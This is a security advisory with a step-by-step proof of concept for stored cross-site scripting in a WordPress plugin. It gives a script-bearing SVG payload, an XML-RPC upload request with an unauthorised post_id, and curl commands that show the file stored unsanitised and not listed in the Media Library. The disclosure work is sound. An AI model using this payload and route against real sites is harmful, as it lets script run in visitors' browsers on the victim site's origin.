Admin and Site Enhancements < 9.0.1 – Author+ Stored XSS via SVG Upload over XML-RPC | CVE 2026-19615

Description

The plugin does not sanitise uploaded SVG files on every route it accepts them through, allowing users with a role the site owner granted upload access to store a file containing JavaScript which then executes in the browser of anyone who opens it.

Proof of Concept

PREREQUISITES

- The SVG Upload module enabled for the Author role. It is off by default; this is the site owner's own configuration.
- xmlrpc.php reachable. The plugin ships a "Disable XML-RPC" module which is off by default.
- An Author account holding no other capability. Authentication below uses a WordPress Application Password, which XML-RPC accepts.

Replace HOST, USER and APPPASS.

STEP 1 - The payload, saved as evil.svg

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <script>alert(document.domain)</script>
</svg>

Base64 it for the request body:

  base64 -w0 evil.svg

STEP 2 - The attack request

attack.xml, carrying a post_id the Author cannot edit. Any post owned by someone else works, and so does an id that does not exist at all:

<?xml version="1.0"?>
<methodCall>
  <methodName>metaWeblog.newMediaObject</methodName>
  <params>
    <param><value><int>1</int></value></param>
    <param><value><string>USER</string></value></param>
    <param><value><string>APPPASS</string></value></param>
    <param><value><struct>
      <member><name>name</name><value><string>evil.svg</string></value></member>
      <member><name>type</name><value><string>image/svg+xml</string></value></member>
      <member><name>bits</name><value><base64>BASE64_OF_EVIL_SVG</base64></value></member>
      <member><name>post_id</name><value><int>999999</int></value></member>
    </struct></value></param>
  </params>
</methodCall>

  curl -s -H "Content-Type: text/xml" --data-binary @attack.xml "https://HOST/xmlrpc.php"

The request appears to fail:

  faultCode 401
  faultString "Sorry, you are not allowed to edit this post."

STEP 3 - The file is stored anyway, unsanitised

  curl -si "https://HOST/wp-content/uploads/YYYY/MM/evil.svg"

  HTTP/1.1 200 OK
  Content-Type: image/svg+xml

The body is byte-identical to the payload, with the script element and the onload attribute intact. No authentication is required to fetch it, and opening it in a browser executes the script on the site's own origin.

STEP 4 - Controls, same user, same payload, same configuration

Send the STEP 2 request with the post_id member removed: the stored file comes back sanitised, with the script element and the onload attribute stripped.

Upload the same payload through the REST media route: also sanitised.

  curl -s -X POST -u "USER:APPPASS" \
    -H "Content-Disposition: attachment; filename=rest.svg" \
    -H "Content-Type: image/svg+xml" \
    --data-binary @evil.svg \
    "https://HOST/index.php?rest_route=/wp/v2/media"

Only the request carrying an unauthorised post_id leaves the payload intact, which is what isolates the finding to that path rather than to the sanitiser.

The attack path creates no attachment record, so the stored file does not appear in the Media Library.